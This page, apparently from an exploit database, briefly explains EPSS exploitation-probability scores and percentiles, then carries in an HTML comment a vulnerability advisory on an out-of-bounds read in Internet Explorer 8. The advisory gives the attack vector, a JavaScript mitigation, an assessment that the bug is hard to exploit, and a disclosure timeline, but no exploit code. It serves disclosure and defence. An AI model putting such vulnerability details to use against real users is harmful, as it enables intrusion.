EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

<!-- Source: http://blog.skylined.nl/20161122001.html Synopsis A specially crafted web-page can cause Microsoft Internet Explorer 8 to attempt to read data beyond the boundaries of a memory allocation. The issue does not appear to be easily exploitable. Known affected software, attack vectors and mitigations Microsoft Internet Explorer 8 An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path.

The lower three bits of this value are returned by the function doing the reading, resulting in a return value in the range 0-7. After exhaustively skipping over the read AV and having that function return each value, no other side effects were noticed. For that reason I assume this issue is hard if not impossible to exploit and did not investigate further. It is still possible that there may be subtle effects that I did not notice that allow exploitation in some form or other. Time-line June 2014: This vulnerability was found through fuzzing. October 2014: This vulnerability was submitted to ZDI. October 2014: This vulnerability was rejected by ZDI. November 2014: This vulnerability was reported to MSRC. February 2015: This vulnerability was addressed by Microsoft in MS15-009. November 2016: Details of this issue are released. -->
